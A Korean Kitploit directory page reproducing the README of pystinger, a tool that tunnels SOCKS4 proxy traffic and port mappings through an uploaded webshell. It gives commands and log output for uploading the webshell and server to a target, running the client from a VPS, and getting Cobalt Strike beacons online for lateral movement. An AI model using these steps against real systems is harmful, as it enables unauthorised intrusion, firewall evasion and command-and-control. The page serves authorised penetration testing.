Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
pystinger — 웹쉘을 이용한 트래픽 전달 방화벽 우회 | Kitploit
도구/GitHubGitHub/funnywolf/pystinger
Exploit FrameworksPayload GenerationIDS/IPS EvasionLateral MovementWeb Application ExploitationPenetration TestingCommand and ControlRed Teaming
GitHubfunnywolf/pystinger

pystinger

웹쉘을 이용한 트래픽 전달 방화벽 우회

저장소 보기
1.4k2044년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

pystinger

영어 | 简体中文

Pystinger는 webshell을 통해 SOCK4 프록시 및 포트 매핑을 구현합니다.

메타스플로이트 프레임워크, viper, cobalt strike에서 세션 온라인에 직접 사용할 수 있습니다.

Pystinger는 파이썬으로 개발되었으며, 현재 php, jsp(x) 및 aspx의 세 가지 프록시 스크립트를 지원합니다.

사용법

서버의 도메인 이름이 http://example.com:8080이고, 서버 내부망의 내부 IP 주소가 192.168.3.11이라고 가정합니다.

SOCK4 프록시

  • proxy.jsp를 대상 서버에 업로드하고 http://example.com:8080/proxy.jsp에 접근 가능한지 확인합니다. 페이지가 UTF-8을 반환합니다.
  • stinger_server.exe를 대상 서버에 업로드하고, AntSword에서 cmd를 실행하여 start D:/XXX/stinger_server.exe로 pystinger-server를 시작합니다.

D:/xxx/singer_server.exe를 직접 실행하지 마십시오. TCP 연결이 끊어질 수 있습니다.

  • VPS에서 ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000을 실행합니다.
  • 다음과 같은 출력이 표시됩니다.
root@kitploit:~
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • 이제 VPS 127.0.0.1:60000에서 example.com의 내부망을 위한 socks4a 프록시가 시작되었습니다.
  • 이제 대상 서버(example.com) 127.0.0.1:60020가 VPS 127.0.0.1:60020에 매핑되었습니다.

단일 대상에 대한 cobaltstrike beacon 온라인

  • proxy.jsp를 대상 서버에 업로드하고 http://example.com:8080/proxy.jsp에 접근 가능한지 확인합니다. 페이지가 UTF-8을 반환합니다.
  • stinger_server.exe를 대상 서버에 업로드하고, AntSword에서 cmd를 실행하여 start D:/XXX/stinger_server.exe로 pystinger-server를 시작합니다.

D:/xxx/singer_server.exe를 직접 실행하지 마십시오. TCP 연결이 끊어질 수 있습니다.

  • VPS에서 ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000을 실행합니다.
  • 다음과 같은 출력이 표시됩니다.
root@kitploit:~
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • cobaltstrike에서 리스너를 추가합니다. 리스너 포트는 60020 (출력의 RAT CONFIG에서 Handler/LISTEN 포트), 리스너 주소는 127.0.0.1입니다.
  • 페이로드를 생성하고 대상에 업로드하여 실행합니다.

다중 대상에 대한 cobaltstrike beacon 온라인

  • proxy.jsp를 대상 서버에 업로드하고 http://example.com:8080/proxy.jsp에 접근 가능한지 확인합니다. 페이지가 UTF-8을 반환합니다.
  • stinger_server.exe를 대상 서버에 업로드하고, AntSword에서 cmd를 실행하여 start D:/XXX/stinger_server.exe 192.168.3.11로 pystinger-server를 시작합니다. (192.168.3.11은 대상의 내부 IP 주소)

192.168.3.11은 0.0.0.0으로 변경 가능

  • VPS에서 ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000을 실행합니다.
  • 다음과 같은 출력이 표시됩니다.
root@kitploit:~
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 192.168.3.11:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 192.168.3.11:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • cobaltstrike에서 리스너를 추가합니다. 리스너 포트는 60020 (출력의 RAT CONFIG에서 Handler/LISTEN 포트), 리스너 주소는 192.168.3.11입니다.
  • 페이로드를 생성하고 대상에 업로드하여 실행합니다.
  • 다른 호스트로 횡적 이동 시, 페이로드를 192.168.3.11:60020으로 지정하여 beacon을 온라인 상태로 만들 수 있습니다.

사용자 정의 헤더 및 프록시

  • webshell에 쿠키나 인증을 구성해야 하는 경우, --header 매개변수를 통해 요청 헤더를 구성할 수 있습니다. --header "Authorization: XXXXXX,Cookie: XXXXX"

  • webshell을 프록시를 통해 접근해야 하는 경우, --proxy를 통해 프록시를 설정할 수 있습니다. --proxy "socks5:127.0.0.1:1081"

관련 도구

https://github.com/nccgroup/ABPTTS

https://github.com/sensepost/reGeorg

https://github.com/SECFORCE/Tunna

테스트 완료

stinger_server\stinger_client

  • windows
  • linux

proxy.jsp(x)/php/aspx

  • php7.2
  • tomcat7.0
  • iis8.0

업데이트 로그

2.0 업데이트 날짜: 2019-09-29

  • Socks4 프록시 서비스를 클라이언트로 이동

2.1 업데이트 날짜: 2020-01-07

  • cobaltstrike 온라인 지원 (포트 매핑)

개발은 jetbrains의 소프트웨어 지원을 받았습니다.
https://www.jetbrains.com/?from=pystinger

도구 다운로드